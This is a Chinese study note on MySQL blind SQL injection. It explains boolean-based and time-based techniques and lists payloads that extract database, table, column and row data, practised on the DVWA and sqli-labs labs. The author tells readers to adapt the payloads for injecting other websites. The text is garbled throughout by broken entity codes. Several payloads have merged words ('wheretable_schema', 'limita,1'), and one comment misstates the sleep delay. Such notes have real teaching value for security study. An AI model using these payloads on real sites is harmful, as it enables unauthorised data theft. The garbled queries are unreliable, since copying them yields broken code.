mysql盲注查询语句_SQL注入学习笔记——盲注

概念&＃xff1a;

如果每个应用程序都能按照我们输入的 SQL 命令返回我们需要的数据&＃xff0c;那应用程序就无安全性可言了&＃xff01;为此&＃xff0c;程序设计者们想到一个办法&＃xff0c;那就是无论输入何种命令&＃xff0c;只要 SQL 语句导致数据库产生错误&＃xff0c;那么应用程序就会返回一个“通用的”的页面&＃xff0c;或者重定向一个通用页面(可能为网站首页)。这时&＃xff0c;回显方式的 SQL 注入办法就无法使用了。盲注&＃xff0c;即在 SQL 注入过程中&＃xff0c;SQL 语句执行选择后&＃xff0c;选择的数据不能回显到前端&＃xff0c;需要使用一些特殊的方法进行判断或尝试&＃xff0c;这个过程称为盲注。

盲注类型&＃xff1a;

盲注分为两类&＃xff1a;

一、 基于布尔型 SQL 盲注&＃xff1b;

• 基于布尔型 SQL 盲注即在 SQL 注入过程中&＃xff0c;应用程序仅仅返回 True(页面)和 False(页面)。

• 无法根据应用程序的返回页面得到需要的数据库信息。但是可以通过构造逻辑判断(比较大小)来得到需要的信息。

二、 基于时间型 SQL 盲注&＃xff1b;注入 SQL 代码之后&＃xff0c;存在以下两种情况&＃xff1a;

• 如果注入的 SQL 代码不影响后台[数据库]的正常功能执行&＃xff0c;那么 Web 应用的页面显示正确(原始页面)。

• 如果注入的 SQL 代码影响后台数据库的正常功能(产生了 SQL 注入)&＃xff0c;但是此时Web 应用的页面依旧显示正常(原因是 Web 应用程序采取了“重定向”或“屏蔽”措施)。

产生一个疑问&＃xff1a;注入的 SQL 代码到底被后台数据库执行了没有&＃xff1f;即 Web 应用程序是否存在 SQL 注入&＃xff1f;

面对这种情况&＃xff0c;之前讲的基于布尔的 SQL 盲注就很难发挥作用了(因为基于布尔的 SQL 盲注的前提是 Web 程序返回的页面存在 true 和 false 两种不同的页面)。这时&＃xff0c;一般采用基于 web 应用响应时间上的差异来判断是否存在 SQL 注入&＃xff0c;即基于时间型 SQL 盲注。

Mysql 盲注关键函数

count(column_name) 函数&＃xff1a;函数返回指定列的值的数目

limit(m,n)函数&＃xff1a;m 代表从 m&＃43;1 条记录行开始检索&＃xff0c;n 代表取出 n 条数据。(m 可设为 0)

length( ) 函数&＃xff1a;length( )函数返回文本字段中值的长度。

mid()\substr()\substring()和left()函数&＃xff1a;这前三个函数用法基本相同&＃xff0c;这四个都是用于截取字符串。

用法&＃xff1a;mid\substr\substring (string,start,length)&＃xff1a;

• string(必需)&＃xff1a;规定要返回其中一部分的字符串。

• start(必需)&＃xff1a;规定开始位置(起始值是 1)。

• length(可选)&＃xff1a;要返回的字符数。如果省略&＃xff0c;则 mid() 函数返回剩余文本。

left(string,length)函数&＃xff1a;

• string(必需)&＃xff1a;规定要返回其中一部分的字符串。

• length(可选)&＃xff1a;规定被返回字符串的前 length 长度的字符。

ascii()函数&＃xff1a;将字符转化为 ascii 码。

如果是字符串&＃xff0c;则返回的最左字符的数值。也就是第一个字符的 ascii 值。如果字符串为空字符串。则返回 NULL&＃xff0c;如果字符串为 NULL。 ASCII()返回数值是从 0 到 255 随机&＃xff1b;

if()函数&＃xff1a;逻辑判断&＃xff0c;在基于时间型 SQL 盲注中&＃xff0c;经常使用条件语句来判断操作是否正确。

if(expr1,expr2,expr3) 如果 expr1 为真&＃xff0c;则 IF()函数执行 expr2 语句; 否则 IF()函数执行 expr3 语句。

这里如果条件 ascii(substr(database(),1,1))>1 成立&＃xff0c;则执行 sleep(5),否则执行 1。

sleep()函数&＃xff1a;延迟查询&＃xff0c;

sleep(seconds) 即 sleep() 函数代码执行延迟若干秒。

上面&＃xff1a;sleep(3)设置查询停留3秒&＃xff0c;sleep函数返回值是0&＃xff0c;查询时间为3秒。

下面&＃xff1a;sleep(3)设置查询停留3秒&＃xff0c;当查询逻辑错误时sleep函数不执行暂停&＃xff0c;查询时间为0秒。结果为空。

由于 sleep()函数返回值为 0&＃xff0c;因此执行 select user from users where user_id&＃61;1 and sleep(3)&＃xff0c;执行能停留 3 秒&＃xff0c;但是结果为空。

基于布尔盲注

上面已经介绍过了布尔盲注的概念了&＃xff0c;这里直接构造语句了。实验的话可以去sqli-labs的第8关&＃xff0c;或者去dvwa平台都可以&＃xff0c;如果没安装的可以翻翻我前面的随笔&＃xff0c;或者自己去百度。

下面用的是dvwa&＃xff0c;所以在自己实际注入网站过程中自行更改。

注意&＃xff1a;看清括号的对应关系&＃xff0c;实际注入语句时候要注意闭合&＃xff0c;如“--&＃43;”或者“#”之类的。

1、 判断当前数据库名长度与数据库名

and length(database())>n  //判断当前数据库长度

and ascii(substr(database(),m,1))>n   //截取数据库名第 m 个字符并转换为 ascii 码

2、 判断数据库的表长度与表名

and length((select table_name from information_schema.tables wheretable_schema&＃61;&＃39;dvwa&＃39; limit 0,1))>n   //判断第一行表名的长度

and ascii(substr((select table_name from information_schema.tables wheretable_schema&＃61;&＃39;dvwa&＃39; limit 0,1),m,1))>n   //截取第一行表名的第 m 个字符串并转换为ascii 码。

3、 判断数据库的字段名长度与字段名称

and length((select column_name from information_schema.columns wheretable_name&＃61;&＃39;users&＃39; limit 0,1))>n //判断表中字段名的长度

and ascii(substr((select column_name from information_schema.columns wheretable_name&＃61;&＃39;users&＃39; limit 0,1),m,1))>n //截取表中字段的第 m 字符串并转换为 ascii 码

4、 判断字段的内容长度与内容字符串

and length((select user from users limit 0,1))>1 //判断字符串内容长度

and ascii(substr((select user from users limit 0,1),m,1)) //截取第m个字符串并转换为ascii码

基于时间盲注

因为盲注过于繁琐&＃xff0c;只介绍一下语句&＃xff0c;这里的库、表都是sqli-labs的&＃xff0c;所以自己在注入别的网站时候自行更改。

其实我们看完之后就会发现&＃xff0c;其实注入都是相通的&＃xff0c;只需要改一下特定的payload就可以了。

1、判断注入类型

数值型注入&＃xff1a;

1 and sleep(5) and 1&＃61;1  //语句正确&＃xff0c;有查询结果&＃xff0c;sleep()函数执行延迟 3 秒

1 and sleep(5) and 1&＃61;2  //语句错误&＃xff0c;查询未延迟

字符串型注入&＃xff1a;

id&＃61;1&＃39; and sleep(5) and &＃39;1&＃39;&＃61;&＃39;1  //语句正确&＃xff0c;有查询结果&＃xff0c;sleep()函数执行延迟 3 秒

id&＃61;1&＃39; and sleep(5) and &＃39;1&＃39;&＃61;&＃39;2  //语句错误&＃xff0c;查询未延迟

2、猜解当前数据库名

id&＃61;1&＃39;  and ascii(substr(database(),m,1))>n and sleep(3)--&＃43; 或者  id&＃61;1&＃39; and if(ascii(substr(database(),m,1)) > n, sleep(3),1)--&＃43;

这里就不解释 m和n的含义了&＃xff0c;上面有。

3、猜解当前数据库表名

id&＃61;1&＃39;and ascii(substr((select table_name frominformation_schema.tables where table_schema&＃61;database( ) limita,1),m,1))>n and sleep(3) --&＃43;

或者

id&＃61;1&＃39; and if(ascii(substr((select table_name frominformation_schema.tables where table_schema &＃61; database() limit0,1),1,1))>1,sleep(3),1)--&＃43;

4、猜解当前数据库的字段名

id&＃61;1&＃39; and ascii(substr((select column_name frominformation_schema.columns where table_name&＃61;’users’ limita,1),m,1))>n and sleep(3)--&＃43;

5、猜解各个字段对应的内容

id&＃61;1&＃39;and ascii(substr((select username from security.users limita,1),m,1))>n and sleep(3)--&＃43;

其实盲注很少自己手工注入&＃xff0c;一般都是用sqlmap工具跑&＃xff0c;后面会提到。